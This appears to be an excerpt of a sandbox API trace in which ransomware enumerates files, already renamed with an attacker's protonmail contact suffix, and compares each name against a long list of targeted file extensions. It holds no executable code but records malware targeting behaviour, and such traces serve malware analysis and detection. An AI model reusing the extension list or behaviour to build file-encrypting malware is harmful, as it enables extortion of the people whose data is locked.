	[0061.007] FindNextFileW (in: hFindFile=0x5e0730, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x80d33efc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.007] FindNextFileW (in: hFindFile=0x5e0730, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80cc0c74, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80cc0c74, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80cc0c74, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0061.007] lstrlenW (lpString="eula.rtf.id-B4197730.[vip76@protonmail.com].html") returned 48
	[0061.007] lstrlenW (lpString=".1cd") returned 4
	[0061.007] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0061.008] lstrlenW (lpString=".3ds") returned 4
	[0061.008] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0061.008] lstrlenW (lpString=".3fr") returned 4
	[0061.008] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0061.008] lstrlenW (lpString=".3g2") returned 4
	[0061.008] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0061.008] lstrlenW (lpString=".3gp") returned 4
	[0061.008] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0061.008] lstrlenW (lpString=".7z") returned 3
	[0061.008] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0061.008] lstrlenW (lpString=".accda") returned 6
	[0061.008] lstrcmpiW (lpString1=".accda", lpString2="].html") returned -1
	[0061.008] lstrlenW (lpString=".accdb") returned 6
	[0061.008] lstrcmpiW (lpString1=".accdb", lpString2="].html") returned -1
	[0061.008] lstrlenW (lpString=".accdc") returned 6
	[0061.008] lstrcmpiW (lpString1=".accdc", lpString2="].html") returned -1
	[0061.008] lstrlenW (lpString=".accde") returned 6
	[0061.008] lstrcmpiW (lpString1=".accde", lpString2="].html") returned -1
	[0061.008] lstrlenW (lpString=".accdt") returned 6
	[0061.008] lstrcmpiW (lpString1=".accdt", lpString2="].html") returned -1
	[0061.008] lstrlenW (lpString=".accdw") returned 6
	[0061.008] lstrcmpiW (lpString1=".accdw", lpString2="].html") returned -1
	[0061.008] lstrlenW (lpString=".adb") returned 4
	[0061.008] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0061.008] lstrlenW (lpString=".adp") returned 4
	[0061.008] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0061.008] lstrlenW (lpString=".ai") returned 3
	[0061.008] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0061.008] lstrlenW (lpString=".ai3") returned 4
	[0061.008] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0061.008] lstrlenW (lpString=".ai4") returned 4
	[0061.008] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0061.008] lstrlenW (lpString=".ai5") returned 4
	[0061.009] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0061.009] lstrlenW (lpString=".ai6") returned 4
	[0061.009] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0061.009] lstrlenW (lpString=".ai7") returned 4
	[0061.009] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0061.009] lstrlenW (lpString=".ai8") returned 4
	[0061.009] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0061.009] lstrlenW (lpString=".anim") returned 5
	[0061.009] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0061.009] lstrlenW (lpString=".arw") returned 4
	[0061.009] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0061.009] lstrlenW (lpString=".as") returned 3
	[0061.009] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0061.009] lstrlenW (lpString=".asa") returned 4
	[0061.009] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0061.009] lstrlenW (lpString=".asc") returned 4
	[0061.009] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0061.009] lstrlenW (lpString=".ascx") returned 5
	[0061.009] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0061.009] lstrlenW (lpString=".asm") returned 4
	[0061.009] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0061.009] lstrlenW (lpString=".asmx") returned 5
	[0061.009] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0061.009] lstrlenW (lpString=".asp") returned 4
	[0061.009] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0061.009] lstrlenW (lpString=".aspx") returned 5
	[0061.009] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0061.009] lstrlenW (lpString=".asr") returned 4
	[0061.009] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0061.009] lstrlenW (lpString=".asx") returned 4
	[0061.009] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0061.009] lstrlenW (lpString=".avi") returned 4
	[0061.010] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0061.010] lstrlenW (lpString=".avs") returned 4
	[0061.010] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0061.010] lstrlenW (lpString=".backup") returned 7
	[0061.010] lstrcmpiW (lpString1=".backup", lpString2="m].html") returned -1
	[0061.010] lstrlenW (lpString=".bak") returned 4
	[0061.010] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0061.010] lstrlenW (lpString=".bay") returned 4
	[0061.010] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0061.010] lstrlenW (lpString=".bd") returned 3
	[0061.010] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0061.010] lstrlenW (lpString=".bin") returned 4
	[0061.010] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0061.010] lstrlenW (lpString=".bmp") returned 4
	[0061.010] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0061.011] lstrlenW (lpString=".bz2") returned 4
	[0061.011] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0061.011] lstrlenW (lpString=".c") returned 2
	[0061.011] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0061.011] lstrlenW (lpString=".cdr") returned 4
	[0061.011] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0061.011] lstrlenW (lpString=".cer") returned 4
	[0061.011] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0061.011] lstrlenW (lpString=".cf") returned 3
	[0061.011] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0061.011] lstrlenW (lpString=".cfc") returned 4
	[0061.011] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0061.011] lstrlenW (lpString=".cfm") returned 4
	[0061.011] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0061.012] lstrlenW (lpString=".cfml") returned 5
	[0061.012] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0061.012] lstrlenW (lpString=".cfu") returned 4
	[0061.012] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0061.012] lstrlenW (lpString=".chm") returned 4
	[0061.012] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0061.012] lstrlenW (lpString=".cin") returned 4
	[0061.012] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0061.012] lstrlenW (lpString=".class") returned 6
	[0061.012] lstrcmpiW (lpString1=".class", lpString2="].html") returned -1
	[0061.012] lstrlenW (lpString=".clx") returned 4
	[0061.012] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0061.012] lstrlenW (lpString=".config") returned 7
	[0061.012] lstrcmpiW (lpString1=".config", lpString2="m].html") returned -1
	[0061.012] lstrlenW (lpString=".cpp") returned 4
	[0061.012] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0061.012] lstrlenW (lpString=".cr2") returned 4
	[0061.012] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0061.012] lstrlenW (lpString=".crt") returned 4
	[0061.012] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0061.012] lstrlenW (lpString=".crw") returned 4
	[0061.012] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0061.012] lstrlenW (lpString=".cs") returned 3
	[0061.012] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0061.012] lstrlenW (lpString=".css") returned 4
	[0061.012] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0061.012] lstrlenW (lpString=".csv") returned 4
	[0061.012] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0061.012] lstrlenW (lpString=".cub") returned 4
	[0061.012] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0061.013] lstrlenW (lpString=".dae") returned 4
	[0061.013] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0061.013] lstrlenW (lpString=".dat") returned 4
	[0061.013] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0061.013] lstrlenW (lpString=".db") returned 3
	[0061.013] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0061.013] lstrlenW (lpString=".dbf") returned 4
	[0061.013] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0061.013] lstrlenW (lpString=".dbx") returned 4
	[0061.013] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0061.013] lstrlenW (lpString=".dc3") returned 4
	[0061.013] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0061.013] lstrlenW (lpString=".dcm") returned 4
	[0061.013] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0061.013] lstrlenW (lpString=".dcr") returned 4
	[0061.013] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0061.013] lstrlenW (lpString=".der") returned 4
	[0061.013] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0061.013] lstrlenW (lpString=".dib") returned 4
	[0061.013] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0061.013] lstrlenW (lpString=".dic") returned 4
	[0061.013] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0061.013] lstrlenW (lpString=".dif") returned 4
	[0061.013] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0061.013] lstrlenW (lpString=".divx") returned 5
	[0061.013] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0061.013] lstrlenW (lpString=".djvu") returned 5
	[0061.013] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0061.013] lstrlenW (lpString=".dng") returned 4
	[0061.013] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0061.014] lstrlenW (lpString=".doc") returned 4
	[0061.014] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0061.014] lstrlenW (lpString=".docm") returned 5
	[0061.014] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0061.014] lstrlenW (lpString=".docx") returned 5
	[0061.014] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0061.014] lstrlenW (lpString=".dot") returned 4
	[0061.014] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0061.014] lstrlenW (lpString=".dotm") returned 5
	[0061.014] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0061.014] lstrlenW (lpString=".dotx") returned 5
	[0061.014] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0061.014] lstrlenW (lpString=".dpx") returned 4
	[0061.014] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0061.014] lstrlenW (lpString=".dqy") returned 4
	[0061.014] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0061.014] lstrlenW (lpString=".dsn") returned 4
	[0061.014] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0061.014] lstrlenW (lpString=".dt") returned 3
	[0061.014] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0061.014] lstrlenW (lpString=".dtd") returned 4
	[0061.014] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0061.014] lstrlenW (lpString=".dwg") returned 4
	[0061.014] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0061.014] lstrlenW (lpString=".dwt") returned 4
	[0061.014] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0061.014] lstrlenW (lpString=".dx") returned 3
	[0061.014] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0061.014] lstrlenW (lpString=".dxf") returned 4
	[0061.014] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0061.014] lstrlenW (lpString=".edml") returned 5
	[0061.015] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0061.015] lstrlenW (lpString=".efd") returned 4
	[0061.015] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0061.015] lstrlenW (lpString=".elf") returned 4
	[0061.015] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0061.015] lstrlenW (lpString=".emf") returned 4
	[0061.015] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0061.015] lstrlenW (lpString=".emz") returned 4
	[0061.015] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0061.015] lstrlenW (lpString=".epf") returned 4
	[0061.015] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0061.015] lstrlenW (lpString=".eps") returned 4
	[0061.015] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0061.015] lstrlenW (lpString=".epsf") returned 5
	[0061.015] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0061.015] lstrlenW (lpString=".epsp") returned 5
	[0061.015] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0061.015] lstrlenW (lpString=".erf") returned 4
	[0061.015] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0061.015] lstrlenW (lpString=".exr") returned 4
	[0061.015] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0061.015] lstrlenW (lpString=".f4v") returned 4
	[0061.015] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0061.015] lstrlenW (lpString=".fido") returned 5
	[0061.015] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0061.015] lstrlenW (lpString=".flm") returned 4
	[0061.015] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0061.015] lstrlenW (lpString=".flv") returned 4
	[0061.015] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0061.015] lstrlenW (lpString=".frm") returned 4
	[0061.015] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0061.015] lstrlenW (lpString=".fxg") returned 4
	[0061.015] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0061.016] lstrlenW (lpString=".geo") returned 4
	[0061.016] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0061.016] lstrlenW (lpString=".gif") returned 4
	[0061.016] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0061.016] lstrlenW (lpString=".grs") returned 4
	[0061.016] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0061.016] lstrlenW (lpString=".gz") returned 3
	[0061.016] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0061.016] lstrlenW (lpString=".h") returned 2
	[0061.016] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0061.016] lstrlenW (lpString=".hdr") returned 4
	[0061.016] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0061.016] lstrlenW (lpString=".hpp") returned 4
	[0061.016] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0061.016] lstrlenW (lpString=".hta") returned 4
	[0061.016] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0061.016] lstrlenW (lpString=".htc") returned 4
	[0061.016] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0061.016] lstrlenW (lpString=".htm") returned 4
	[0061.016] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0061.016] lstrlenW (lpString=".html") returned 5
	[0061.016] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0061.016] FindNextFileW (in: hFindFile=0x5e0730, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80cc0c74, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80cc0c74, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80d33efc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x142a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0061.016] lstrlenW (lpString="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html") returned 57
	[0061.016] lstrlenW (lpString=".1cd") returned 4
	[0061.016] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0061.016] lstrlenW (lpString=".3ds") returned 4
	[0061.016] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0061.016] lstrlenW (lpString=".3fr") returned 4
	[0061.016] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0061.016] lstrlenW (lpString=".3g2") returned 4
	[0061.017] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0061.017] lstrlenW (lpString=".3gp") returned 4
	[0061.017] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0061.017] lstrlenW (lpString=".7z") returned 3
	[0061.017] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0061.017] lstrlenW (lpString=".accda") returned 6
	[0061.017] lstrcmpiW (lpString1=".accda", lpString2="].html") returned -1
	[0061.017] lstrlenW (lpString=".accdb") returned 6
	[0061.017] lstrcmpiW (lpString1=".accdb", lpString2="].html") returned -1
	[0061.017] lstrlenW (lpString=".accdc") returned 6
	[0061.017] lstrcmpiW (lpString1=".accdc", lpString2="].html") returned -1
	[0061.017] lstrlenW (lpString=".accde") returned 6
	[0061.017] lstrcmpiW (lpString1=".accde", lpString2="].html") returned -1
	[0061.017] lstrlenW (lpString=".accdt") returned 6
	[0061.017] lstrcmpiW (lpString1=".accdt", lpString2="].html") returned -1
	[0061.017] lstrlenW (lpString=".accdw") returned 6
	[0061.017] lstrcmpiW (lpString1=".accdw", lpString2="].html") returned -1
	[0061.017] lstrlenW (lpString=".adb") returned 4
	[0061.017] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0061.017] lstrlenW (lpString=".adp") returned 4
	[0061.017] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0061.017] lstrlenW (lpString=".ai") returned 3
	[0061.017] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0061.017] lstrlenW (lpString=".ai3") returned 4
	[0061.017] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0061.017] lstrlenW (lpString=".ai4") returned 4
	[0061.017] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0061.017] lstrlenW (lpString=".ai5") returned 4
	[0061.017] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0061.017] lstrlenW (lpString=".ai6") returned 4
	[0061.017] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0061.017] lstrlenW (lpString=".ai7") returned 4
	[0061.018] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0061.018] lstrlenW (lpString=".ai8") returned 4
	[0061.018] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0061.018] lstrlenW (lpString=".anim") returned 5
	[0061.018] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0061.018] lstrlenW (lpString=".arw") returned 4
	[0061.018] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0061.018] lstrlenW (lpString=".as") returned 3
	[0061.018] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0061.018] lstrlenW (lpString=".asa") returned 4
	[0061.018] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0061.018] lstrlenW (lpString=".asc") returned 4
	[0061.018] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0061.018] lstrlenW (lpString=".ascx") returned 5
	[0061.018] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0061.018] lstrlenW (lpString=".asm") returned 4
	[0061.018] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0061.018] lstrlenW (lpString=".asmx") returned 5
	[0061.018] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0061.018] lstrlenW (lpString=".asp") returned 4
	[0061.018] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0061.018] lstrlenW (lpString=".aspx") returned 5
	[0061.018] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0061.019] lstrlenW (lpString=".asr") returned 4
	[0061.019] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0061.019] lstrlenW (lpString=".asx") returned 4
	[0061.019] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0061.019] lstrlenW (lpString=".avi") returned 4
	[0061.019] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0061.019] lstrlenW (lpString=".avs") returned 4
	[0061.019] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0061.019] lstrlenW (lpString=".backup") returned 7
	[0061.019] lstrcmpiW (lpString1=".backup", lpString2="m].html") returned -1
	[0061.019] lstrlenW (lpString=".bak") returned 4
	[0061.019] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0061.019] lstrlenW (lpString=".bay") returned 4
	[0061.019] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0061.019] lstrlenW (lpString=".bd") returned 3
	[0061.019] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0061.019] lstrlenW (lpString=".bin") returned 4
	[0061.019] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0061.019] lstrlenW (lpString=".bmp") returned 4
	[0061.019] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0061.019] lstrlenW (lpString=".bz2") returned 4
	[0061.019] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0061.019] lstrlenW (lpString=".c") returned 2
	[0061.019] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0061.019] lstrlenW (lpString=".cdr") returned 4
	[0061.019] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0061.019] lstrlenW (lpString=".cer") returned 4
	[0061.019] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0061.019] lstrlenW (lpString=".cf") returned 3
	[0061.019] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0061.019] lstrlenW (lpString=".cfc") returned 4
	[0061.019] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0061.020] lstrlenW (lpString=".cfm") returned 4
	[0061.020] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0061.020] lstrlenW (lpString=".cfml") returned 5
	[0061.020] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0061.020] lstrlenW (lpString=".cfu") returned 4
	[0061.020] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0061.020] lstrlenW (lpString=".chm") returned 4
	[0061.020] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0061.020] lstrlenW (lpString=".cin") returned 4
	[0061.020] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0061.020] lstrlenW (lpString=".class") returned 6
	[0061.020] lstrcmpiW (lpString1=".class", lpString2="].html") returned -1
	[0061.020] lstrlenW (lpString=".clx") returned 4
	[0061.020] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0061.020] lstrlenW (lpString=".config") returned 7
	[0061.020] lstrcmpiW (lpString1=".config", lpString2="m].html") returned -1
	[0061.020] lstrlenW (lpString=".cpp") returned 4
	[0061.020] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0061.020] lstrlenW (lpString=".cr2") returned 4
	[0061.020] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0061.020] lstrlenW (lpString=".crt") returned 4
	[0061.020] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0061.020] lstrlenW (lpString=".crw") returned 4
	[0061.020] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0061.020] lstrlenW (lpString=".cs") returned 3
	[0061.020] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0061.020] lstrlenW (lpString=".css") returned 4
	[0061.020] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0061.020] lstrlenW (lpString=".csv") returned 4
	[0061.020] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0061.020] lstrlenW (lpString=".cub") returned 4
	[0061.020] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0061.021] lstrlenW (lpString=".dae") returned 4
	[0061.021] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0061.021] lstrlenW (lpString=".dat") returned 4
	[0061.021] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0061.021] lstrlenW (lpString=".db") returned 3
	[0061.021] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0061.021] lstrlenW (lpString=".dbf") returned 4
	[0061.021] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0061.021] lstrlenW (lpString=".dbx") returned 4
	[0061.021] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0061.021] lstrlenW (lpString=".dc3") returned 4
	[0061.021] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0061.021] lstrlenW (lpString=".dcm") returned 4
	[0061.021] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0061.021] lstrlenW (lpString=".dcr") returned 4
	[0061.021] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0061.021] lstrlenW (lpString=".der") returned 4
	[0061.021] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0061.021] lstrlenW (lpString=".dib") returned 4
	[0061.021] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0061.021] lstrlenW (lpString=".dic") returned 4
	[0061.021] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0061.021] lstrlenW (lpString=".dif") returned 4
	[0061.021] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0061.021] lstrlenW (lpString=".divx") returned 5
	[0061.021] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0061.021] lstrlenW (lpString=".djvu") returned 5
	[0061.021] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0061.021] lstrlenW (lpString=".dng") returned 4
	[0061.021] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0061.021] lstrlenW (lpString=".doc") returned 4
	[0061.022] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0061.022] lstrlenW (lpString=".docm") returned 5
	[0061.022] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0061.022] lstrlenW (lpString=".docx") returned 5
	[0061.022] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0061.022] lstrlenW (lpString=".dot") returned 4
	[0061.022] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0061.022] lstrlenW (lpString=".dotm") returned 5
	[0061.022] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0061.022] lstrlenW (lpString=".dotx") returned 5
	[0061.022] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0061.022] lstrlenW (lpString=".dpx") returned 4
	[0061.022] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0061.022] lstrlenW (lpString=".dqy") returned 4
	[0061.022] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0061.022] lstrlenW (lpString=".dsn") returned 4
	[0061.022] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0061.022] lstrlenW (lpString=".dt") returned 3
	[0061.022] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0061.022] lstrlenW (lpString=".dtd") returned 4
	[0061.022] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0061.022] lstrlenW (lpString=".dwg") returned 4
	[0061.022] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0061.022] lstrlenW (lpString=".dwt") returned 4
	[0061.022] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0061.022] lstrlenW (lpString=".dx") returned 3
	[0061.022] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0061.022] lstrlenW (lpString=".dxf") returned 4
